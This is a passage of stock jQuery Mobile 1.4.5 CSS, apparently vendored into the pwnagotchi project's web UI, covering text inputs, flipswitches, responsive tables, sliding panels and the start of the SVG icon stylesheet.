height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-field-contain .ui-rangeslider input.ui-slider-input, .ui-field-contain .ui-rangeslider.ui-mini input.ui-slider-input, .ui-field-contain .ui-rangeslider .ui-rangeslider-sliders, .ui-field-contain .ui-rangeslider.ui-mini .ui-rangeslider-sliders { margin-top: 0; margin-bottom: 0; } .ui-input-text, .ui-input-search { margin: .5em 0; border-width: 1px; border-style: solid; } .ui-mini { margin: .446em; } .ui-input-text input, .ui-input-search input, textarea.ui-input-text { padding: .4em; line-height: 1.4em; display: block; width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; outline: 0; } .ui-input-text input, .ui-input-search input { margin: 0; min-height: 2.2em; text-align: left; /* Opera aligns type="date" right by default */ border: 0; background: transparent none; -webkit-appearance: none; -webkit-border-radius: inherit; border-radius: inherit; } textarea.ui-input-text { overflow: auto; resize: vertical; } .ui-mini .ui-input-text input, .ui-mini .ui-input-search input, .ui-input-text.ui-mini input, .ui-input-search.ui-mini input, .ui-mini textarea.ui-input-text, textarea.ui-mini { font-size: 14px; } /* Same margin for mini textareas as other mini sized widgets (12.5/14 * 0.5em) */ .ui-mini textarea.ui-input-text, textarea.ui-mini { margin: .446em 0; } .ui-input-has-clear, .ui-input-search { position: relative; } /* Padding on the div instead of input because of browser spinners etc. */ .ui-input-has-clear { padding-right: 2.375em; } .ui-mini.ui-input-has-clear { padding-right: 2.923em; } .ui-input-has-clear input { padding-right: 0; /* Autofill on Chrome has bg color so we unset corners right as well. */ -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; } /* Search icon */ .ui-input-search input { padding-left: 1.75em; } .ui-input-search:after { position: absolute; left: .3125em; top: 50%; margin-top: -7px; content: ""; background-position: center center; background-repeat: no-repeat; width: 14px; height: 14px; filter: Alpha(Opacity=50); opacity: .5; } .ui-input-search.ui-input-has-clear .ui-btn.ui-input-clear, .ui-input-text.ui-input-has-clear .ui-btn.ui-input-clear { position: absolute; right: 0; top: 50%; margin: -14px .3125em 0; border: 0; background-color: transparent; } .ui-input-search .ui-input-clear-hidden, .ui-input-text .ui-input-clear-hidden { display: none; } /* Resolves issue #5166: Added to support issue introduced in Firefox 15. We can likely remove this in the future. */ .ui-input-text input::-moz-placeholder, .ui-input-search input::-moz-placeholder, textarea.ui-input-text::-moz-placeholder { color: #aaa; } /* Same for IE10 */ .ui-input-text input:-ms-input-placeholder, .ui-input-search input:-ms-input-placeholder, textarea.ui-input-text:-ms-input-placeholder { color: #aaa; } /* Resolves issue #5131: Width of textinput depends on its type, for Android 4.1 */ .ui-input-text input[type=number]::-webkit-outer-spin-button { margin: 0; } /* Resolves issue #5756: Textinput in IE10 has a default clear button */ .ui-input-text input::-ms-clear, .ui-input-search input::-ms-clear { display: none; } .ui-input-text input:focus, .ui-input-search input:focus { -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } textarea.ui-input-text.ui-textinput-autogrow { overflow: hidden; } .ui-textinput-autogrow-resize { -webkit-transition: height 0.25s; -o-transition: height 0.25s; -moz-transition: height 0.25s; transition: height 0.25s; } .ui-flipswitch { display: inline-block; vertical-align: middle; width: 5.875em; /* Override this and padding-left in next rule if you use labels other than "on/off" and need more space */ height: 1.875em; border-width: 1px; border-style: solid; margin: .5em 0; overflow: hidden; -webkit-transition-property: padding, width, background-color, color, border-color; -moz-transition-property: padding, width, background-color, color, border-color; -o-transition-property: padding, width, background-color, color, border-color; transition-property: padding, width, background-color, color, border-color; -webkit-transition-duration: 100ms; -moz-transition-duration: 100ms; -o-transition-duration: 100ms; transition-duration: 100ms; -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; cursor: pointer; } .ui-flipswitch.ui-flipswitch-active { padding-left: 4em; /* Override this and width in previous rule if you use labels other than "on/off" and need more space */ width: 1.875em; } .ui-flipswitch-input { position: absolute; height: 1px; width: 1px; margin: -1px; overflow: hidden; clip: rect(1px,1px,1px,1px); border: 0; outline: 0; filter: Alpha(Opacity=0); opacity: 0; } .ui-flipswitch .ui-btn.ui-flipswitch-on, .ui-flipswitch .ui-flipswitch-off { float: left; height: 1.75em; margin: .0625em; line-height: 1.65em; } .ui-flipswitch .ui-btn.ui-flipswitch-on { width: 1.75em; padding: 0; text-indent: -2.6em; /* Override this to center text if you use a label other than "on" */ text-align: left; border-width: 1px; border-style: solid; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; border-radius: inherit; overflow: visible; color: inherit; text-shadow: inherit; } .ui-flipswitch .ui-flipswitch-off { padding: 1px; text-indent: 1em; /* Override this to center text if you use a label other than "off" */ } /* Override field container CSS to prevent the flipswitch from becomming full width */ html .ui-field-contain > label + .ui-flipswitch, html .ui-popup .ui-field-contain > label + .ui-flipswitch { display: inline-block; width: 5.875em; /* If you override the width for .ui-flipswitch you should repeat the same value here */ -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } .ui-field-contain .ui-flipswitch.ui-flipswitch-active, .ui-popup .ui-field-contain .ui-flipswitch.ui-flipswitch-active { width: 1.875em; } .ui-table { border: 0; border-collapse: collapse; padding: 0; width: 100%; } .ui-table th, .ui-table td { line-height: 1.5em; text-align: left; padding: .4em .5em; vertical-align:top; } .ui-table th .ui-btn, .ui-table td .ui-btn { line-height: normal; } .ui-table th { font-weight: bold; } .ui-table caption { text-align: left; margin-bottom: 1.4em; opacity: .5; } /* Styles for the table columntoggle mode */ .ui-table-columntoggle-btn { float: right; margin-bottom: .8em; } /* Remove top/bottom margins around the fieldcontain on check list */ .ui-table-columntoggle-popup fieldset { margin:0; } .ui-table-columntoggle { clear: both; } /* Hide all prioritized columns by default */ @media only all { th.ui-table-priority-6, td.ui-table-priority-6, th.ui-table-priority-5, td.ui-table-priority-5, th.ui-table-priority-4, td.ui-table-priority-4, th.ui-table-priority-3, td.ui-table-priority-3, th.ui-table-priority-2, td.ui-table-priority-2, th.ui-table-priority-1, td.ui-table-priority-1 { display: none; } } /* Preset breakpoints if ".ui-responsive" class added to table */ /* Show priority 1 at 320px (20em x 16px) */ @media screen and (min-width: 20em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-1, .ui-table-columntoggle.ui-responsive td.ui-table-priority-1 { display: table-cell; } } /* Show priority 2 at 480px (30em x 16px) */ @media screen and (min-width: 30em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-2, .ui-table-columntoggle.ui-responsive td.ui-table-priority-2 { display: table-cell; } } /* Show priority 3 at 640px (40em x 16px) */ @media screen and (min-width: 40em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-3, .ui-table-columntoggle.ui-responsive td.ui-table-priority-3 { display: table-cell; } } /* Show priority 4 at 800px (50em x 16px) */ @media screen and (min-width: 50em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-4, .ui-table-columntoggle.ui-responsive td.ui-table-priority-4 { display: table-cell; } } /* Show priority 5 at 960px (60em x 16px) */ @media screen and (min-width: 60em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-5, .ui-table-columntoggle.ui-responsive td.ui-table-priority-5 { display: table-cell; } } /* Show priority 6 at 1,120px (70em x 16px) */ @media screen and (min-width: 70em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-6, .ui-table-columntoggle.ui-responsive td.ui-table-priority-6 { display: table-cell; } } /* Unchecked manually: Always hide */ .ui-table-columntoggle th.ui-table-cell-hidden, .ui-table-columntoggle td.ui-table-cell-hidden, .ui-table-columntoggle.ui-responsive th.ui-table-cell-hidden, .ui-table-columntoggle.ui-responsive td.ui-table-cell-hidden { display: none; } /* Checked manually: Always show */ .ui-table-columntoggle th.ui-table-cell-visible, .ui-table-columntoggle td.ui-table-cell-visible, .ui-table-columntoggle.ui-responsive th.ui-table-cell-visible, .ui-table-columntoggle.ui-responsive td.ui-table-cell-visible { display: table-cell; } /* Styles for the table columntoggle mode */ .ui-table-reflow td .ui-table-cell-label, .ui-table-reflow th .ui-table-cell-label { display: none; } /* Mobile first styles: Begin with the stacked presentation at narrow widths */ @media only all { /* Hide the table headers */ .ui-table-reflow thead td, .ui-table-reflow thead th { display: none; } /* Show the table cells as a block level element */ .ui-table-reflow td, .ui-table-reflow th { text-align: left; display: block; } /* Add a fair amount of top margin to visually separate each row when stacked */ .ui-table-reflow tbody th { margin-top: 3em; } /* Make the label elements a percentage width */ .ui-table-reflow td .ui-table-cell-label, .ui-table-reflow th .ui-table-cell-label { padding: .4em; min-width: 30%; display: inline-block; margin: -.4em 1em -.4em -.4em; } /* For grouped headers, have a different style to visually separate the levels by classing the first label in each col group */ .ui-table-reflow th .ui-table-cell-label-top, .ui-table-reflow td .ui-table-cell-label-top { display: block; padding: .4em 0; margin: .4em 0; text-transform: uppercase; font-size: .9em; font-weight: normal; } } /* Breakpoint to show as a standard table at 560px (35em x 16px) or wider */ @media ( min-width: 35em ) { /* Show the table header rows */ .ui-table-reflow.ui-responsive td, .ui-table-reflow.ui-responsive th, .ui-table-reflow.ui-responsive tbody th, .ui-table-reflow.ui-responsive tbody td, .ui-table-reflow.ui-responsive thead td, .ui-table-reflow.ui-responsive thead th { display: table-cell; margin: 0; } /* Hide the labels in each cell */ .ui-table-reflow.ui-responsive td .ui-table-cell-label, .ui-table-reflow.ui-responsive th .ui-table-cell-label { display: none; } } /* Hack to make IE9 and WP7.5 treat cells like block level elements, scoped to ui-responsive class */ /* Applied in a max-width media query up to the table layout breakpoint so we don't need to negate this*/ @media ( max-width: 35em ) { .ui-table-reflow.ui-responsive td, .ui-table-reflow.ui-responsive th { width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; float: left; clear: left; } } /* Panel */ .ui-panel { width: 17em; min-height: 100%; max-height: none; border-width: 0; position: absolute; top: 0; display: block; } .ui-panel-closed { width: 0; max-height: 100%; overflow: hidden; visibility: hidden; left: 0; clip: rect(1px,1px,1px,1px); } .ui-panel-fixed { position: fixed; bottom: -1px; /* Fixes gap on Chrome for Android */ padding-bottom: 1px; } .ui-panel-display-reveal { z-index: 1; } .ui-panel-display-push { z-index: 999; } .ui-panel-display-overlay { z-index: 1001; /* Fixed toolbars have z-index 1000 */ } .ui-panel-inner { padding: 1em; } /* Container, page and wrapper */ .ui-panel-page-container { overflow-x: visible; } .ui-panel-page-container-themed .ui-page-active { background: none; } .ui-panel-wrapper { position: relative; min-height: inherit; border: 0; overflow-x: hidden; z-index: 999; } /* Fixed toolbars */ .ui-panel-fixed-toolbar { overflow-x: hidden; } /* Dismiss */ .ui-panel-dismiss { position: absolute; top: 0; left: 0; right: 0; height: 100%; z-index: 1002; display: none; } .ui-panel-dismiss-open { display: block; } /* Animate class is added to panel, wrapper and fixed toolbars */ .ui-panel-animate { -webkit-transition: -webkit-transform 300ms ease; -webkit-transition-duration: 300ms; -moz-transition: -moz-transform 300ms ease; transition: transform 300ms ease; } /* Fix for Windows Phone issue #6349: unset the transition for transforms in case of fixed toolbars. */ @media screen and ( max-device-width: 768px ) { .ui-page-header-fixed .ui-panel-animate.ui-panel-wrapper, .ui-page-footer-fixed .ui-panel-animate.ui-panel-wrapper, .ui-panel-animate.ui-panel-fixed-toolbar { -ms-transition: none; } /* We need a transitionend event ... */ .ui-panel-animate.ui-panel-fixed-toolbar { -ms-transition: -ms-transform 1ms; -ms-transform: rotate(0deg); } } /* Hardware acceleration for smoother transitions on WebKit browsers */ .ui-panel-animate.ui-panel:not(.ui-panel-display-reveal) { -webkit-backface-visibility: hidden; -webkit-transform: translate3d(0,0,0); } /* Panel positioning (for overlay and push) */ /* Panel left closed */ .ui-panel-position-left { left: -17em; } /* Panel left closed animated */ .ui-panel-animate.ui-panel-position-left.ui-panel-display-overlay, .ui-panel-animate.ui-panel-position-left.ui-panel-display-push { left: 0; -webkit-transform: translate3d(-17em,0,0); -moz-transform: translate3d(-17em,0,0); transform: translate3d(-17em,0,0); } /* Panel left open */ .ui-panel-position-left.ui-panel-display-reveal, /* Unset "panel left closed" for reveal */ .ui-panel-open.ui-panel-position-left { left: 0; } /* Panel left open animated */ .ui-panel-animate.ui-panel-open.ui-panel-position-left.ui-panel-display-overlay, .ui-panel-animate.ui-panel-open.ui-panel-position-left.ui-panel-display-push { -webkit-transform: translate3d(0,0,0); transform: translate3d(0,0,0); -moz-transform: none; } /* Panel right closed */ .ui-panel-position-right { right: -17em; } /* Panel right closed animated */ .ui-panel-animate.ui-panel-position-right.ui-panel-display-overlay, .ui-panel-animate.ui-panel-position-right.ui-panel-display-push { right: 0; -webkit-transform: translate3d(17em,0,0); -moz-transform: translate3d(17em,0,0); transform: translate3d(17em,0,0); } /* Panel right open */ .ui-panel-position-right.ui-panel-display-reveal, /* Unset "panel right closed" for reveal */ .ui-panel-position-right.ui-panel-open { right: 0; } /* Panel right open animated */ .ui-panel-animate.ui-panel-open.ui-panel-position-right.ui-panel-display-overlay, .ui-panel-animate.ui-panel-open.ui-panel-position-right.ui-panel-display-push { -webkit-transform: translate3d(0,0,0); transform: translate3d(0,0,0); -moz-transform: none; } /* Wrapper and fixed toolbars positioning (for reveal and push) */ /* Panel left open */ .ui-panel-page-content-position-left { left: 17em; right: -17em; } /* Panel left open animated */ .ui-panel-animate.ui-panel-page-content-position-left { left: 0; right: 0; -webkit-transform: translate3d(17em,0,0); -moz-transform: translate3d(17em,0,0); transform: translate3d(17em,0,0); } /* Panel right open */ .ui-panel-page-content-position-right { left: -17em; right: 17em; } /* Panel right open animated */ .ui-panel-animate.ui-panel-page-content-position-right { left: 0; right: 0; -webkit-transform: translate3d(-17em,0,0); -moz-transform: translate3d(-17em,0,0); transform: translate3d(-17em,0,0); } /* Dismiss model open */ .ui-panel-dismiss-open.ui-panel-dismiss-position-left { left: 17em; } .ui-panel-dismiss-open.ui-panel-dismiss-position-right { right: 17em; } /* Shadows and borders */ .ui-panel-display-reveal { -webkit-box-shadow: inset -5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: inset -5px 0 5px rgba(0,0,0,.15); box-shadow: inset -5px 0 5px rgba(0,0,0,.15); } .ui-panel-position-right.ui-panel-display-reveal { -webkit-box-shadow: inset 5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: inset 5px 0 5px rgba(0,0,0,.15); box-shadow: inset 5px 0 5px rgba(0,0,0,.15); } .ui-panel-display-overlay { -webkit-box-shadow: 5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: 5px 0 5px rgba(0,0,0,.15); box-shadow: 5px 0 5px rgba(0,0,0,.15); } .ui-panel-position-right.ui-panel-display-overlay { -webkit-box-shadow: -5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: -5px 0 5px rgba(0,0,0,.15); box-shadow: -5px 0 5px rgba(0,0,0,.15); } .ui-panel-open.ui-panel-position-left.ui-panel-display-push { border-right-width: 1px; margin-right: -1px; } .ui-panel-page-content-position-left.ui-panel-page-content-display-push { margin-left: 1px; width: auto; } .ui-panel-open.ui-panel-position-right.ui-panel-display-push { border-left-width: 1px; margin-left: -1px; } .ui-panel-page-content-position-right.ui-panel-page-content-display-push { margin-right: 1px; width: auto; } /* Responsive: wrap on wide viewports once open */ @media (min-width:55em) { .ui-responsive-panel .ui-panel-page-content-open.ui-panel-page-content-position-left { margin-right: 17em; } .ui-responsive-panel .ui-panel-page-content-open.ui-panel-page-content-position-right { margin-left: 17em; } .ui-responsive-panel .ui-panel-page-content-open { width: auto; } .ui-responsive-panel .ui-panel-dismiss-display-push, .ui-responsive-panel.ui-page-active ~ .ui-panel-dismiss-display-push { display: none; } } .ui-tabs { position: relative;/* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ padding: .2em; } ================================================ FILE: pwnagotchi/ui/web/static/js/jquery.mobile/jquery.mobile.icons-1.4.5.css ================================================ /*! * jQuery Mobile 1.4.5 * Git HEAD hash: 68e55e78b292634d3991c795f06f5e37a512decc <> Date: Fri Oct 31 2014 17:33:30 UTC * http://jquerymobile.com * * Copyright 2010, 2014 jQuery Foundation, Inc. and othercontributors * Released under the MIT license. * http://jquery.org/license * */ /* SVG icons */ .ui-icon-action:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M9%2C5v3l5-4L9%2C0v3c0%2C0-5%2C0-5%2C7C6%2C5%2C9%2C5%2C9%2C5z%20M11%2C12H2V5h1l2-2H0v11h13V7l-2%2C2V12z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-alert:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M7%2C0L0%2C12h14L7%2C0z%20M7%2C11c-0.553%2C0-1-0.447-1-1s0.447-1%2C1-1c0.553%2C0%2C1%2C0.447%2C1%2C1S7.553%2C11%2C7%2C11z%20M7%2C8%20C6.447%2C8%2C6%2C7.553%2C6%2C7V5c0-0.553%2C0.447-1%2C1-1c0.553%2C0%2C1%2C0.447%2C1%2C1v2C8%2C7.553%2C7.553%2C8%2C7%2C8z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-d-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C3%2011%2C0%203.5%2C7.5%200%2C4%200%2C14%2010%2C14%206.5%2C10.5%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-d-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2210.5%2C7.5%203%2C0%200%2C3%207.5%2C10.5%204%2C14%2014%2C14%2014%2C4%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-d:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%229%2C7%209%2C0%205%2C0%205%2C7%200%2C7%207%2C14%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%227%2C5%207%2C0%200%2C7%207%2C14%207%2C9%2014%2C9%2014%2C5%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C7%207%2C0%207%2C5%200%2C5%200%2C9%207%2C9%207%2C14%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-u-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C11%206.5%2C3.5%2010%2C0%200%2C0%200%2C10%203.5%2C6.5%2011%2C14%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-u-r:after { background-image: 